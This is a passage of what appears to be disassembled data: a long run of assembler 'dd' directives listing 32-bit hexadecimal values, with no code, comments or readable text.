0F33B1B65h, 0C4A3FA76h dd 0B6ACD2ADh, 0E994800Ah, 0ADC92791h, 0C9CE88C0h, 3EA0E5C2h dd 98258283h, 47655C74h, 939C6E5Ah, 79D6009h, 3E6C0F6Dh dd 20D7D275h, 0ED4FFFF7h, 0BB3DCC1Bh, 12B9D2F1h, 35626577h dd 0BE38F9C8h, 0CDC7A29Fh, 2EC3F484h, 3CD5647Fh, 62C319CAh dd 3CD1063Ch, 51F2CE2Ah, 0BE2549BAh, 0AF75FA17h, 6E152701h dd 110AF06Ch, 4D58E083h, 9DCCF8EBh, 0AA66FFD8h, 3EE8F7C0h dd 0DDD9059Ah, 0B70EB578h, 0ECEFAC73h, 2E831696h, 60BC6700h dd 0C3C93D33h, 0C66DFEDCh, 9B2D4717h, 5BA4186Fh, 0CC9C3D06h dd 5C0ECC8Eh, 0F655EB05h, 3B729F06h, 85A06A43h, 0F664784Bh dd 209732A4h, 0A97AD8B8h, 9EA4F8E5h, 998DB325h, 1C2B58BEh dd 0E705F3B8h, 4E1AF6A5h, 99CEECDCh, 648FAE0Ch, 8636C882h dd 7ED513F8h, 0A8F59790h, 48A54A72h, 0BCC43902h, 0DF560239h dd 994E90D0h, 5BB379EEh, 0F07E0295h, 0C5B6C142h, 0A262874h dd 0DF8C1A17h, 0E4041D45h, 0BC2A1F87h, 96638BF2h, 9EC8B152h dd 0ED65CDD1h, 0B0DA795Ah, 47DEC04Bh, 0C074389Ah, 5E2D6E1h dd 0E8886EAAh, 0A7365CF1h, 0E32FB372h, 3E27B2BBh, 0EC47674Dh dd 1DD59520h, 87B0045Dh, 5A9B4A49h, 0CB1F2221h, 0F7F9081Fh dd 0D24A9642h, 0CB880F4Fh, 39ECAEA1h, 0DAD73B36h, 8044D021h dd 6B5AD2D6h, 5ADCB6D8h, 64E876B2h, 7D015EF6h, 813330C4h dd 633E10D3h, 0A4F92187h, 7C9DEE51h, 44054898h, 6E4458AFh dd 2144B4DEh, 4B001664h, 0F5233663h, 0D598FE64h, 0CFDD4F82h dd 0E922DEC0h, 961A47E4h, 0A4C8BAD0h, 0F2FD44AEh, 615C3437h dd 0E8FCB9C2h, 0F8C2D94Eh, 1E0AC0D9h, 0DE2FBA74h, 721ADF2Eh dd 7080E558h, 7E6BBC8h, 0A149E804h, 15783BDFh, 32D81AE9h dd 88ECC4C0h, 2F90311Fh, 8BCE712Dh, 0E01C4DAFh, 81198B5h dd 8D4B430Ch, 0A5446028h, 0E8AD7504h, 44F858DFh, 0A7A68BE4h dd 378F9B2Ch, 0E8098D25h, 0EE89A387h, 0D4F2F1Dh, 4090E032h dd 39C2714Fh, 0E3D3457Eh, 0F4BF65D2h, 0E56AF298h, 5D88F04Ch dd 0A99A487h, 0B7D62728h, 44BAFD74h, 0FB8BD523h, 9144CAC7h dd 0C4D0505Eh, 3B2A18E7h, 0D0457925h, 443F56EAh, 98C57F5Ch dd 0D102E188h, 0A72A678Dh, 0EBBF0FA0h, 0DE6C6FB8h, 0D9F82013h dd 0D557F5A7h, 9C3618D6h, 7192DB91h, 67665EECh, 0B65CFBCDh dd 0CCCDCD36h, 28BC10EDh, 967E57B7h, 0DC39C0E6h, 0C2B630CAh dd 0CF65C2D8h, 2BC02785h, 0DF02BCABh, 99830578h, 4C244FC5h dd 0CFFFD356h, 0F44CEBE8h, 42DA1EBBh, 0C6A79B07h, 33CB0D08h dd 3E4273F9h, 3EC3448Bh, 23E4649Dh, 0DD0AA67h, 9CFA420Fh dd 84F6F19Eh, 6BBD3D71h, 6C7FD14h, 0AD5F8F07h, 5727FEE9h dd 4466E648h, 37BFECD4h, 1908786Eh, 0CBF28255h, 0F2C78DF1h dd 7DC12A71h, 0D6DF780Ch, 2AB35C30h, 0A3E89ABh, 0A455C58Dh dd 0A709B31Dh, 3D0C5D8Ah, 0E6F0F971h, 689DBEEFh, 55426D25h dd 90135184h, 0D071172Fh, 0D51C6C4Eh, 0A88C363Eh, 0BB2F477Dh dd 0F94BB2D4h, 0A31BCAFCh, 0DF93F9D6h, 321EA06Ah, 0F4CF675Bh dd 0FDF53405h, 9818942Fh, 2EA92A70h, 0E7D39DF4h, 89F85B62h dd 0F3CECF12h, 0EA2C8BA1h, 324A7CD9h, 0F0A9DC0Eh, 99AD6058h dd 4EB82B7Ch, 0DBD7932Bh, 0DFBCE8E7h, 443F3C1Fh, 195F13AEh dd 648A084Dh, 5F08B936h, 83CF2DF8h, 0FD1ACB6Fh, 0FD0843D0h dd 0EF444FADh, 40267686h dd 108E707Dh, 994721BCh, 0DF24B25Ah, 6E97ACD3h, 256B336Ah dd 6667C034h, 5D5E21BBh, 7F3E637Eh, 54B3BD2Dh, 0D106A178h dd 64F13A1Ch, 0A54D52F6h, 0A7BEE1BAh, 90004BC5h, 752CEE95h dd 352A3A7Ah, 0E80A41C1h, 0D1CC7271h, 2D7DA779h, 79EDE4C6h dd 90751AEBh, 0FFBB2D66h, 1EC99D74h, 0F01EA0D5h, 21758828h dd 6A3745EDh, 9854D986h, 115B68A1h, 0D324406Bh, 111E6511h dd 0BC53EE0h, 0E8DCF6BCh, 889339F1h, 832056EDh, 7A014209h dd 2E1E465Fh, 8A9815E7h, 6FC9DDEFh, 0E8F75AB2h, 0F174F778h dd 606012BAh, 842BB5E5h, 0CDDC1A2Bh, 886CCAF4h, 0CD7ECB2h dd 624E1E25h, 692B425Bh, 0A3A694C1h, 54728599h, 0A933FB1Dh dd 5DE62B82h, 571EEE9Eh, 7FEC4775h, 42E8E7FCh, 80E9AA5Eh dd 0FAF8517Dh, 0D501BE99h, 17D0C30h, 0D65BB2D7h, 45A5AFBEh dd 49C8AE27h, 0C8BF0A2Dh, 7A784067h, 0E1F884FEh, 3E4B7350h dd 1D0F092Ah, 0F06A327Ah, 3B619CA4h, 1A2F7A0Bh, 992A6490h dd 931F4A33h, 3F2904E6h, 4679A001h, 0B34BA387h, 2A247FB5h dd 0EC5C416Ah, 75C2D6BCh, 0C4B40917h, 0FAF0E147h, 39A7CFE6h dd 8B3BF4E3h, 0EEDD01C9h, 1D2B414Bh, 9CE2B44Fh, 9F73C87h dd 9B4D890Fh, 0A334921Fh, 0CC01AD35h, 64E5DAEEh, 160AFB41h dd 0E37EF566h, 66C26BE5h, 0D6A4A73Ch, 0FBC61A53h, 3A74DC99h dd 0AE5577DCh, 3366E40Eh, 0C493AACCh, 9B38B217h, 3C7C855Ah dd 12B7B527h, 772722A2h, 81B876F3h, 0F8F1EE28h, 0F4A34E5Eh dd 0C14FA586h, 0DDC41B52h, 1A3EE7BAh, 0CCF5C3B1h, 8906E13Ch dd 5455C41Bh, 44F6390Ch, 0FBB359BDh, 0DAF81A37h, 7A716536h dd 94745CEBh, 0D796B491h, 0D3300A02h, 0F8F09656h, 7D9CC742h dd 28EA0408h, 0B2929F94h, 817B8DBCh, 8835A050h, 22A6B290h dd 0BCDCD246h, 0C16327CCh, 63F26369h, 0AD407ACDh, 14A1C35Eh dd 15912A0Bh, 8A8CE8Fh, 5435A8Ah, 0B9DBF02Bh, 2B349E15h dd 77A5F7EDh, 9E7A12Dh, 7BC2B9A0h, 0E7375493h, 0A9EDF3E5h dd 0BFF6FC9Bh, 45215C9Ch, 0D84F1A42h, 1DED2A06h, 56CDC4B9h dd 0B6D76AF9h, 1AD15368h, 3CD35525h, 0D74D117Ch, 8BDCD59h dd 29AA49E5h, 990AAAE3h, 0B6CB8A1Ah, 0C0CB4F25h, 3F33D4Eh dd 5A9CC57Ch, 48403EF1h, 0F6B8864Dh, 0EACFC85Ch, 0F74B16E5h dd 0C095B45h, 0ADE3178Ch, 473233A9h, 0E41F2A71h, 314158BEh dd 39CD8C69h, 383A184Ch, 0C1677948h, 0E1F15102h, 0A5365F0Fh dd 0EF97CDBDh, 31C6D6E4h, 755EC9FAh, 11E4274Eh, 0C2403A4Bh dd 0D41F3D10h, 0D04F7310h, 0FEE2CE0h, 2E572F1Dh, 79B95149h dd 2A063BBh, 9BC05F86h, 0CA0499FCh, 0F9FE9054h, 98F645BAh dd 0B5EDEB16h, 1AEE9A05h, 62EFDF4h, 2876A6F8h, 32F0FB21h dd 0D48888EAh, 228DBEEBh, 4A4F8741h, 9235B1BBh, 576FD2C9h dd 3030244Dh, 39FE3F37h, 0F6C6D0E5h, 0D92F8F7Ch, 0F200CC91h dd 0B9C05CE4h, 0E956F7ECh, 2D87F86Ch, 0E954E965h, 95A4556Dh dd 81306AF9h, 0A0F5E5A4h, 714D5959h, 0CA86DDEBh, 0A35B8940h dd 0D16E727Fh, 0C2BBFD01h, 57B15138h, 13A21E06h, 981709FBh dd 44E5FAC5h, 63769DBDh, 426DFBFBh, 0A1E46628h, 0EC5AA79Ch dd 0E69118B2h, 3D29C3CFh, 31270448h, 3E63240Bh, 1F971177h dd 2D16D272h, 0BB98C154h, 0DD057AA0h, 25BFF8EEh, 825B22C1h dd 0CB97E9AFh, 5508F44Bh, 0D1DE1258h, 86B8BEA2h, 59783FA2h dd 9C2B7E54h, 0FE0523B5h, 8EF42CFEh, 0A46865FAh, 0B226DCF1h dd 43B9B60Dh, 0B84F5045h, 0FD62B235h, 0A2435943h, 0ED3DE105h dd 6A9E2281h, 0E93685C9h, 54FE9EE7h, 0BB7595DDh, 6EE30A97h dd 0E886DA98h, 0D841EF68h, 0A68F55CCh, 24F7F8E8h, 0DD149FBBh dd 0B156D59Ch, 0DD36EA86h, 5063F6E9h, 0C2ADCFA1h, 2021BFAAh dd 0B404A5C7h, 33288F04h, 0D8F52650h, 0FBFD1157h, 0E4835F2Ah dd 0F035654Eh, 386ACB39h, 0D1BAAA49h, 1112D12Ch, 2D1553D2h dd 3CC04B5Fh, 8D42CE24h, 0C95F7EDCh, 0B9FDFFA6h, 51B43D4Fh dd 0C7103157h, 5B6F4620h, 23F29E57h, 9941155Ah, 2F76853h dd 56A556B2h, 6CA7F1FBh, 0BA620573h, 68C6EC44h, 16DB626Ch dd 98189605h, 0F19D20DCh, 0CEA8C1E1h, 0D0F53454h, 0C5D463FEh dd 97E6025Bh, 127AE7A7h, 0A14479E1h, 1922BDFAh, 0C9BE4E1Bh dd 0F5ECC81h, 0CD739FB9h, 389EFB67h, 72D0E30Eh, 0BD4E3C9Eh dd 0CF832E03h, 49CFEA65h, 480AF697h, 0B80ABA4Fh, 6C16D191h dd 3C4C9186h, 0C5D44C01h, 41E9A283h, 8FA2315Dh, 13ABCCC8h dd 0A2C6A829h, 5A4A63A1h, 0E57DFC6Dh, 0CCEE056Bh, 0EEF3FCEh dd 3998CA5Dh, 6F510E3Bh, 968E64F2h, 11361B08h, 0D726FFBh dd 2F52125Fh, 17764B4Fh, 0F9E3EF6Eh, 70308838h, 6BF51C21h dd 9E040DD0h, 30AD2F9Ch, 61FD5234h, 652C695h, 7DC9B77Bh dd 2F7BCC39h, 0FF450B88h, 0CE8D61E7h, 61A88AEDh, 71799F1Bh dd 94E0BA31h, 33D934D0h, 30C0C205h, 0E0F8F932h, 1FA53D61h dd 0B334511Dh, 88246DB4h, 0C01BE504h, 6552C8C1h, 9088ED06h dd 0D3B6C651h, 0D193812Ch, 3EE6602Ah, 0D1B5609Eh, 1EA21C46h dd 0B5E86AF9h, 45F8878Dh, 1EAF72A4h, 9BFF96E6h, 34DEF58Ch dd 0C4D6D597h, 2E21D337h, 18F80EB3h, 2C054B20h, 277CA20Ch dd 71C237F5h, 8F0AE03Bh, 9F2E4794h, 5AA0F759h, 639F8FF2h dd 0B4A5F7C5h, 0C3B16508h, 11B03205h, 501A1F5Dh, 83D8D975h dd 7F241EE8h, 53DA4784h, 0D8BE5DFAh, 881ADCE8h, 77E226F5h dd 9CC1F8Dh, 0AFAC6689h, 0D27A825h, 0CE5DB9DBh, 0BA60B1D9h dd 4EA59E96h, 3D94A49Fh, 0C61A6E5h, 2063BB2Dh, 85BA7B79h dd 0AF82E716h, 0DC0A0ADEh, 72209DEBh, 0AF82024Eh, 8003CC35h dd 4815CA7Eh, 3D7A4A8Ah, 0AC556061h, 17341864h, 42E49378h dd 55EDB29Bh, 13E9321Dh, 0AADF3A22h, 0E6EE3B68h, 9F338C46h dd 0F359BFC4h, 1E2C2586h, 0EA8E10B5h, 59A08042h, 0E19106CBh dd 0B7CF1CC6h, 0A52DD2Ch, 0CE6B3983h, 3E907E5Ah, 33F58630h dd 0B23F5096h, 6896DF35h, 0E7E4A96h, 0E6E8BB4h, 6032D95Ch dd 89E95200h, 3FC95122h, 532B9985h, 0A2F8C100h, 1E29FC80h dd 0D4FC3847h, 7550CCCAh, 35E5DBA4h, 0EB0063EAh, 3F32EA12h dd 0BEB05885h, 4BC3F095h, 0F47CF1C4h, 200728AFh, 8276A508h dd 0B8BB6CD7h, 5B59E220h, 0F114B1FAh, 42975C4Fh, 951A6426h dd 90ED73D9h, 0AC258785h, 88D9F30Bh, 99A3565h, 0A8E4732Bh dd 0B6E56B4Eh, 7FF90D08h, 1D4CD389h, 0AFCD7CE0h, 40282CEAh dd 11142EEh, 0FCC8CB48h, 2522AD55h, 0EA2224F4h, 0BDB85F67h dd 6E6BE2E2h, 0C6F39268h, 0C538A67Dh, 998D9F4Eh, 4D5277D6h dd 0EDD470B8h, 0CBA62DB3h, 0DCBFBEC5h, 0C35F5546h, 0DB38BB08h dd 51FDB6D0h, 73CF7F35h, 0BF1577BBh, 7F8BCD63h, 0EF48E29h dd 6E59420Bh, 0DA8378C3h, 0F305E021h, 18BC8311h, 72AAC104h dd 0DA62D153h, 0F150C68Eh, 0BB52536Ch, 587BA5C2h, 0CE57664h dd 67A5B970h, 9BDCAFDDh, 0C1B63589h, 713E8B45h, 0F9B7E536h dd 5D79DD01h, 6C9E939Ch, 0AB8A09B1h, 0F7A7234Dh, 7DBDD423h dd 0C97BF00Ah, 0E430A617h, 22AD927Eh, 407FBD1Dh, 6FCACDA4h dd 0C5C35BC9h, 0E17B5C43h, 0F85FF4B1h, 0F38398CCh, 1B69F53Bh dd 7AA1AF50h, 0BB23BEB1h, 0F5373E91h, 0BF371C00h, 6EF12CDAh dd 3B43FFCEh, 0F2C7EDCCh, 68BFE7F5h, 0C0127BFFh, 0A9DF93CFh dd 18895DC7h, 6CD9B533h, 8EA715B1h, 0F98DFDF5h, 7B5B0993h dd 7967303h, 2534E3A1h dd 61450E81h, 932103CEh, 7FCBE916h, 2BFE1C7h, 65D31F7Ch dd 0C4F24788h, 0A89E0DDh, 0FEF361Ah, 0DD67BE31h, 0BC5C076Ah dd 1A63C0B8h, 995362ACh, 0EF588EF8h, 3B1640ADh, 51DFA49Ch dd 592C3294h, 842876Dh, 43DE562Dh, 6BBB1791h, 80F779E9h dd 259445Bh, 0A0B9C564h, 43B8D274h, 0F96A0A29h, 0B02CFA80h dd 3E2EE4E3h, 0CDC6F77Dh, 11BD0329h, 59BE379Eh, 0D5CF28CFh dd 73BF8E31h, 0FC01171Eh, 31B32F29h, 93E55D12h, 0B173F424h dd 0C806A819h, 0D881F235h, 0B939D05Eh, 3D0B000h, 50D0672h dd 7E71DACEh, 0D4C95029h, 568959F3h, 0DF45D0F4h, 910D7378h dd 530116E8h, 0EF35CF1Eh, 37DA0E45h, 14DEBDEDh, 92DFBA01h dd 0D585143Eh, 0FF18FC6Fh, 0E68DDC6Fh, 0AA92FC11h, 12D8DF06h dd 0A333103Fh, 4C20CCBFh, 128A4933h, 0F29CAE62h, 0D56EFBB3h dd 36B8C894h, 945F66EBh, 89342A5Eh, 0E521BC3h, 7C83911Ch dd 785DEC5Dh, 0CBB22030h, 91FCB7C6h, 205EDD75h, 83AB7EDFh dd 0DA803E91h, 0CB9FC4CAh, 5F71E9E3h, 3E07904Ah, 2CD980D9h dd 86C99B4h, 3E286751h, 0A47BDEB7h, 86974DC9h, 0B4C9D620h dd 62577D4Ch, 0C2C8705Eh, 0A1D82175h, 5214190Fh, 1330A8CDh dd 0F1FFB02Bh, 1AA82C6Ch, 0C2D5F99Fh, 4B40D916h, 6487934Dh dd 1AC28E79h, 16585323h, 498D14BAh, 62497441h, 0BF3BE2A9h dd 0D74A81BDh, 0C0B43082h, 29432DFFh, 7FC4CAB4h, 87BF90Dh dd 0F2FAA939h, 8A599B5Fh, 0DCDD2A12h, 0C1506FCh, 7106B08Dh dd 0DF832614h, 0E87BDA0Fh, 28640957h, 402949DFh, 219623B2h dd 0C42C5AC9h, 871708F7h, 1C08CB3h, 2DF28F24h, 2CF30086h dd 70B49B42h, 0DC8D2C89h, 2478E3F8h, 80D63234h, 3611EBA7h dd 0AE43B466h, 63C2BC11h, 965EB3E3h, 6784CBEBh, 5DF668DBh dd 1F88C7C6h, 0D17C25A7h, 0C38635A8h, 0E7E5A2AFh, 0CE42B11Fh dd 6241181Eh, 0D375FE51h, 0B0EBEB2Eh, 490F614Ch, 7E863AD8h dd 1895DA63h, 2399E2AAh, 159857D1h, 0DAFC47ABh, 0F7015D5h dd 0E6C0D660h, 0D170F97Fh, 0CC499407h, 6B52AFA1h, 0D762691Ch dd 0B7E97D5Fh, 4103384Ch, 0D56CEE17h, 0F47BB910h, 0B51418FDh dd 0F4857A74h, 0CA2A63EAh, 6C06C78Eh, 0A63AA100h, 0C6BD9259h dd 0F3487C54h, 5991216h, 3DE76EA1h, 363100AAh, 2D92F322h dd 25DE4C74h, 0B7DB106Fh, 59DB6CB8h, 0E9792F27h, 69ABA383h dd 8BA09A7Ah, 9D142E4Ah, 5B6CD4A9h, 0FB87685Bh, 0C50E7936h dd 0AEBE26A2h, 29E3B52Ah, 27DA10A1h, 0E2748310h, 8D13718Ch dd 0BD039508h, 195C5F56h, 0E3B6E441h, 5CAD5E02h, 29192E20h dd 49FD6E37h, 0CA6F42C5h, 0B2B3EF46h, 53D9B340h, 0FCCD6347h dd 69709E0h, 24C92865h, 14D46394h, 0DD716C94h, 0C982A434h dd 21017885h, 0EE16F928h, 662DD170h, 8241C277h, 7150EAFh dd 0DE176B08h, 63EF6017h, 34C8F8AFh, 71BC20DAh, 409D7FD3h dd 60A3362Dh, 50AC6CE0h, 38E69D4Dh, 4F385968h, 165DE6BCh dd 0B839ABFBh, 50B050AFh, 6CDD1AF5h, 4ACFBBD5h, 0C44FC627h dd 0C06FD164h, 2E0CA638h, 0D9D532C8h, 2B77C88Eh, 560FF51Ah dd 9A469BA1h, 3CDAF175h, 825B2A57h, 0B1C32C1h, 0CAC6177Fh dd 5A04ACCDh, 871CCF66h, 31F3F0CCh, 32B17E1Ah, 0FB1177D7h dd 3287812Dh, 82E8984h, 377526E2h, 598D2E27h, 0C45B5DC6h dd 0CA4CDA72h, 99140B7Ch, 4913E97Eh, 0A55F46CAh, 0A013E3EFh dd 0F41C6B6h, 0C9806AEDh, 0A1662B63h, 97B7D8CEh, 7A371437h dd 0CFA0814Eh, 39CE8FFCh, 0E05D36C5h, 0B3FEED58h, 0E04FCF54h dd 0F941EC86h, 0BCF79F80h, 5AA06FC0h, 68AE4820h, 7720671Eh dd 0CF0D7513h, 7703CC0Eh, 7B0D3E0Ah, 309F1131h, 33723AE4h dd 71C1BF81h, 0EA07B22Bh, 331C2E9Eh, 905B247Eh, 4C2090FEh dd 2EEFC25Ch, 0F5865CDCh, 49E8AF48h, 614BA030h, 43D0F95Ah dd 3D124361h, 5344360Dh, 9294ED4Dh, 53345CBDh, 0D8F20B8h dd 29A98584h, 48DF22A1h, 12467FB2h, 0FB200D02h, 0CDA17AEh dd 0C2E1B2E6h, 6E01A520h, 40BFC9CFh, 6D497D2h, 87289FBFh dd 0F027969Eh, 0EFC2695Eh, 8F01A1E1h, 429B2DD6h, 0CBE10F07h dd 32708639h, 79EF56D2h, 6E38CCBh, 0D8CC3AE2h, 55788259h dd 400C229Ah, 58BAE716h, 0CEEB7751h, 9CE9C805h, 0BED372F5h dd 0D32A6ECAh, 0ECECC7E4h, 0C3645343h, 0FBE594Fh, 9E5778C9h dd 0F50B1053h, 0E4D8D7FCh, 0C140798Ah, 0E8DAA5ADh, 65A2C595h dd 0ECD9AD3Ah, 0B4E05A39h, 98657167h, 975CC302h, 2AFC12C1h dd 0FC5C26CCh, 0CE770ACAh, 5BEBBC32h, 0CEBD6614h, 0EC9964ADh dd 1851AD6Ch, 0EFFF0CB6h, 585D2EC4h, 59929185h, 1748B8E4h dd 6AF008E7h, 0D728E5F6h, 7360EE66h, 0FF506D82h, 12FDC587h dd 0F6E47D34h, 78AC4CB5h, 77F85536h, 92892B8Eh, 7EBCB516h dd 57CD8978h, 1F1CB451h, 0FAADF139h, 0B376EA8Ah, 1DC32A73h dd 0C3975DC9h, 0B448D6EFh, 0EBFF2580h, 5B687F04h, 1217C255h dd 840F0014h, 0E0576A57h, 0C7DB9AF6h, 1D50FB1Eh, 171BD4Fh dd 0E7FF3FEBh, 0FD83F483h, 3826CA41h, 25E22DF1h, 61CAEFF9h dd 0E7B6CA00h, 108101Ch, 71082898h, 812EEE33h, 26690111h dd 86774B1Ch, 78C63DA3h, 6AFC0506h, 158F4AE3h, 0D7E160ECh dd 4FB7AAAh, 0DE939C11h, 400865ECh, 5FD4FCE4h, 1E01A9DDh dd 0AAE190A8h, 2B528A58h, 626E272Ch, 61B85C43h, 5CDC789Fh dd 0A8F94F93h, 4F4DB3CCh, 43292FDBh, 6465AC49h, 2DAD86BAh dd 2112FA4Eh, 30D6F3EAh, 0AA438C87h, 0C5C03C18h, 3C8A81EFh dd 56D87893h, 0C26EA6FBh, 0FCB8F825h, 3F6157Eh, 0E075E47Eh dd 0BD6368D3h, 607ADFBh, 1E68AB14h, 4D35032h, 22663D3Fh dd 0A078A088h, 430A5BE5h, 5AABA661h, 39C7204Fh, 5689041Fh dd 0F9A49ABAh, 0E397D7FBh, 44549EDFh, 7BCEADCAh, 7EBF400Bh dd 38B66FABh, 7909700Fh, 48F0EDE8h, 0AD12FF58h, 0F6458E3Ch dd 0FCEBCF78h, 9F206398h, 5E281EC5h, 76A2DCD3h, 93054DEFh dd 0A1C36A67h, 300FF4D3h, 416C56BCh, 0F26A437Ch, 0A9D81864h dd 900D978Bh, 0C8724CCAh, 47BC04FCh, 2E366740h, 0D9047736h dd 92B97AD7h, 0CD80452Eh, 9E7E26BDh, 4D2EBB25h, 7479CCCCh dd 6B5BFA98h, 157642F3h, 4F5613E1h, 737C6DA4h, 683FC62Fh dd 81E6F655h, 0AFE96BF5h, 0C1F116AEh, 92F01D4Eh, 0D6870B55h dd 0D88D7C27h, 0C7B6A407h, 0BE96D542h, 265F8C0Bh, 80FF8C41h dd 0A282385h, 0F9135764h, 0E0197FC1h, 5AB6DF9h, 0BE437295h dd 9A45A261h, 0D01E1CBEh, 0D59FE8C8h, 0C77DC51Bh, 35877FF7h dd 8AAA03D3h, 0F3AC6538h, 13B83575h, 10E97E97h, 0B874DADCh dd 5CABED0Ch, 8CF2998Eh, 0AC53919Eh, 7E1CF86h, 94D397A2h dd 62C5975Dh, 1093084h, 0C6097C3h, 0DB229E27h, 80C9D06h dd 0A831E95Fh, 17A6A857h, 7F882E9Bh, 0F694453Bh, 0E8B25569h dd 5E54D875h, 4561D4BDh, 898983F3h, 4277F9EFh, 13A2A496h dd 0EE3C4A38h, 202CE2F1h, 5BFD4861h, 22930117h, 10924C24h dd 72A29DD9h, 0A13599D4h, 0D84C588Eh, 27D833A6h, 0C888D579h dd 94EF8BADh, 0CC114FB8h, 0EC010BAEh, 905E76F1h, 5C79E40Dh dd 9AE21119h, 3F7E0408h, 0A9ADCA9Dh, 9DB01C92h, 52585361h dd 0AA8C5A6Dh, 0A7D26785h, 110F0BAEh, 2FE8514h, 6AB53781h dd 1F04DC2Ah, 55E02201h, 981F89DDh, 3CC910CDh, 27306037h dd 0E161F6EFh, 0A4798F20h, 82FB9B3Eh, 0C5ACC2Eh, 0D8F75B3Dh dd 4AD4D389h, 0F1519C8Ch dd 5CB00B72h, 90165F3Dh, 7FE4A604h, 0A5855D79h, 0CE510623h dd 612B8E66h, 3E4BE27Fh, 73100D46h, 89E9A99Fh, 4EF51150h dd 2216089Eh, 23AA9E01h, 0A2E3D845h, 24DE1F90h, 0E9CA9E8Ah dd 0A94A7727h, 2BA4CED9h, 0BE9C6EC4h, 0D9C1EFC2h, 5BD66ACAh dd 0A4223EEh, 15F1B3EAh, 3E349A4h, 0F858E2AAh, 0AEC026A2h dd 58E2F8E5h, 68FC2FD2h, 0C2B31313h, 2A124DE3h, 82DDA367h dd 12CBD947h, 72B4739Dh, 6139B9CDh, 0EF844EC6h, 46DDF7E5h dd 0D6F75B80h, 5B381D38h, 0E7F5F1B7h, 0B33B996Bh, 0E52218FBh dd 919BC775h, 6E801461h, 0ADC89EA0h, 6F8C2FE7h, 5486CF73h dd 2F62386Ch, 356BBA9Dh, 0CA24F492h, 480A848Ah, 52C57E3Eh dd 0BD99F621h, 33C87730h, 0CB85A4FCh, 0A71B8757h, 8EF1DF25h dd 85754B53h, 0ED2217BAh, 0EF60D43Dh, 15A65482h, 0BD51E55Dh dd 6B88CA02h, 59BBE06Ch, 555C593Ah, 3C9A000Eh, 482E4646h dd 0D8606996h, 0C5B74259h, 0F909A6D6h, 5FF57601h, 0BC65D83Fh dd 0A2826998h, 767087FDh, 0A4408C13h, 0DD23B524h, 8E74F3F2h dd 84324F7Dh, 7DA62933h, 0A3D057C4h, 0BDDDB71Fh, 9381E2EBh dd 3FEE029Ah, 7CAD6D96h, 1C6CB8B7h, 3827794Bh, 0D64938B4h dd 43829A61h, 0C04B11DCh, 393168AEh, 6FE08450h, 22C36BE4h dd 4AFFA7C5h, 97EF051Dh, 0F1B4F70Ch, 33BA3336h, 8949875Ah dd 36D87CFEh, 717DA9F8h, 0F8167767h, 66DE4819h, 337BA112h dd 0F70E23F4h, 44C7A29Ch, 4487A9F3h, 8263952Ch, 491F1C22h dd 80F90DE3h, 0F8902D82h, 5DEBD966h, 0AED78FE4h, 13028D63h dd 8084ACC9h, 25C2672Bh, 823E0FDEh, 0E8AEDDA7h, 0A2F7DEA9h dd 0CBA1E7BEh, 9566CE7Ch, 0C0C559CAh, 23CF7E4h, 0A8D90822h dd 7F6C0964h, 0E174FC2Ah, 442E8250h, 0A6D6EABCh, 1BCC0B81h dd 11332B28h, 96C04131h, 8FDD9BB5h, 0C85A0448h, 4258906Ah dd 6F5613EBh, 0AC234333h, 0BC3944Bh, 80541D68h, 0D0FCE728h dd 0B4ABD1Eh, 60B7FA10h, 91DF4600h, 0FED0F2F3h, 0A96E8DE0h dd 0EBCEAAA5h, 820E7D27h, 47636D41h, 34458052h, 0F62B583Dh dd 0B0C3FA1Ch, 4C41C27Dh, 0F42EDBA3h, 50D27159h, 100CA9A8h dd 2320A1D2h, 14D82B7Fh, 0BC164FAAh, 16BC268Fh, 0D57FA823h dd 4927A7D8h, 74EBA43Fh, 0DC08834Bh, 5159B071h, 6F913B58h dd 0BBB07301h, 1B83931Fh, 871B25C5h, 26AFDD9h, 0BBA1EBA2h dd 516A8637h, 5EFCDBCCh, 0FE54A676h, 4A6F6A95h, 130ABA71h dd 0AB4706E6h, 0C3152688h, 1E5F55EFh, 5E09162Ch, 0D8A3C0C0h dd 52754CD6h, 517F04Bh, 0E8B2B42h, 39D1C4AEh, 0BBFABDEAh dd 9326F549h, 0F2A73F7Fh, 62FD5358h, 0C6326074h, 0CCD537ADh dd 98C5E16Fh, 0F7C2A9DAh, 0A321F2A1h, 0B5AF2914h, 1711D714h dd 6E560869h, 0F689902Dh, 0A1E3AD60h, 0BB1DEB9Ch, 604616D1h dd 1FD354F4h, 0C4EE3F8Dh, 97CDD7BDh, 0E6AD5A8Ch, 0A0A08B1Eh dd 7669433Bh, 0E52CEAB1h, 0ECD30C13h, 0A1A7F54h, 852E07EDh dd 0B4D6DC07h, 5095BFACh, 0BC087826h, 5783F29Ah, 8C610361h dd 802C5BA5h, 97E88418h, 89CB6C4h, 3B7C8A99h, 13CAF4F0h dd 78C83E0Fh, 69D275C3h, 0BDD660DDh, 35E1DC84h, 0F2F1F423h dd 48DE5BAh, 52BF7267h, 0B948DE82h, 0E6BCEA05h, 0F568A5A9h dd 4978D5CCh, 6FE0EEE9h, 0C4BA5CC8h, 0D930CF22h, 91C4A76Eh dd 0E36DEC7Bh, 0AF8A895Ch, 0FC6A08EEh, 0B977D4D4h, 0C53A8FAAh dd 0B52837A4h, 9FECA119h, 582332C2h, 0DFD5E2FCh, 0E851C913h dd 0D527589Dh, 0A988EA7Eh, 15CD144Dh, 0A34D037Ch, 263C480Dh dd 0E55DA3FAh, 1D295F77h, 5ED0DECEh, 0B940B9BDh, 5E379003h dd 0C0EB0AE3h, 3F9CAD5Ch, 25645CDDh, 405C963Ch, 0E3C73D68h dd 7DE95A33h, 0BA6AFDA4h, 296B00FBh, 8B0BAE57h, 7584E98Eh dd 59268319h, 0A693D4Bh, 9185E184h, 51B2073Ch, 0D3830C72h dd 72596265h, 0D3A336D9h, 2A2DC21Ch, 321F0A1Ah, 0D28FB42h dd 868663D0h, 476D94AEh, 0DE5F3965h, 0D997B8CEh, 0D6953478h dd 0FDA766C7h, 246E02F8h, 0B349EB34h, 6F1D4B32h, 69457F21h dd 349D10B0h, 0B071FFF7h, 5CCEB008h, 2C64521Ah, 923EFC06h dd 508A474Eh, 9933706Dh, 0F6726004h, 783EAD86h, 7AFA379Dh dd 730F47D7h, 15C95FCDh, 0C946FAE1h, 0DD419F57h, 8BD367C8h dd 700DD712h, 9FBC9BCCh, 2D723768h, 0B18D0992h, 401C1FA2h dd 1D10F71Ch, 732112E9h, 72F73C90h, 0C47253CDh, 0B41CC8A2h dd 1E68C6A0h, 0DA1E2F3Eh, 99B85BFEh, 73BD5AE4h, 0FFB250A7h dd 962B5832h, 338A4B3h, 47EA93CAh, 9106EC31h, 0C95B8195h dd 94E6F40Eh, 0E4B58B1Bh, 0B91AAEB2h, 